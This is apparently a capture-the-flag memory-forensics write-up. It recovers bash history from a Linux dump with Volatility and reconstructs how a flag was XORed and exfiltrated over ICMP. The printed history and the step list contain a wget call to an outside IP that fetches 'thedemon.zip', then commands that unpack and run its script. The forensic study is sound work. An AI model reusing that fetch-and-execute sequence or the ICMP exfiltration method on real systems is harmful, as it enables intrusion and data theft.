Solution

1. Build profile linux-image-5.4.0-169-generic for linux memory
2. use plugin linux_bash to see bash history

```
$ vol.py -f Secret_Military_Zone.dmp --profile=LinuxUbuntu_5_4_0-169-generic_5_4_0-169_187_amd64x64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
   14774 bash                 2024-01-22 10:06:09 UTC+0000
   14774 bash                 2024-01-22 10:06:09 UTC+0000   uname -r
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ?^?6V
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo passwd remnux
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ls
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo remnux install
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sha256sum remnux-cli
   14774 bash                 2024-01-22 10:06:09 UTC+0000   lsb_release
   14774 bash                 2024-01-22 10:06:09 UTC+0000   uname -r
   14774 bash                 2024-01-22 10:06:09 UTC+0000   `??6V
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ping 8.8.8.8
   14774 bash                 2024-01-22 10:06:09 UTC+0000   `??6V
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt install linux-image-5.4.0-150-generic linux-headers-5.4.0-150-generic
   14774 bash                 2024-01-22 10:06:09 UTC+0000   7z x thedemon.zip -progressindicator
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ls
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt install -y gnupg
   14774 bash                 2024-01-22 10:06:09 UTC+0000   mv remnux-cli remnux
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo shutdown -h now
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ./thedemon.sh flag flag.gif
   14774 bash                 2024-01-22 10:06:09 UTC+0000   rm *
   14774 bash                 2024-01-22 10:06:09 UTC+0000   reboot
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt-get dist-upgrade
   14774 bash                 2024-01-22 10:06:09 UTC+0000   lsb_release -a
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo -s
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ls -la
   14774 bash                 2024-01-22 10:06:09 UTC+0000   wget 172.25.245.17:8080/thedemon.zip
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo mv remnux /usr/local/bin
   14774 bash                 2024-01-22 10:06:09 UTC+0000   chmod +x remnux
   14774 bash                 2024-01-22 10:06:09 UTC+0000   ;pwd
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt install qrencode ffmpeg bc -y
   14774 bash                 2024-01-22 10:06:09 UTC+0000   pwd
   14774 bash                 2024-01-22 10:06:09 UTC+0000   nano ~/.bash_history
   14774 bash                 2024-01-22 10:06:09 UTC+0000   0?6V
   14774 bash                 2024-01-22 10:06:09 UTC+0000   chmod +x thedemon.sh
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt-get update # This will update the repositories list
   14774 bash                 2024-01-22 10:06:09 UTC+0000   history
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt install linux-image-5.4.0-150-generic linux-headers-5.4.0-150-generic
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt install linux-image-5.4.0-130-generic linux-headers-5.4.0-130-generic
   14774 bash                 2024-01-22 10:06:09 UTC+0000   sudo apt install linux-image-5.4.0-130-generic linux-headers-5.4.0-130-generic
   14774 bash                 2024-01-22 10:06:09 UTC+0000   cd Documents/
   14774 bash                 2024-01-22 10:06:09 UTC+0000   wget https://REMnux.org/remnux-cli
   14774 bash                 2024-01-22 10:06:29 UTC+0000   cd Desktop/
   14774 bash                 2024-01-22 10:06:40 UTC+0000   sudo ./avml Secret_Military_Zone.dmp
```

3. Arrange important commands in order

```
wget 172.25.245.17:8080/thedemon.zip
7z x thedemon.zip -progressindicator
chmod +x thedemon.sh
./thedemon.sh flag flag.gif
```

4. Export thedemon.zip from pcap and extract it with password above
5. Understand that the flag was converted to gif then xored and passed through icmp traffic to 172.25.245.17
6. filter icmp traffic to get the flag.gif.lnc file
7. create a sample gif file then xor to find the key and restore flag.gif
8. split gif into images and read data. Combine them to get the flag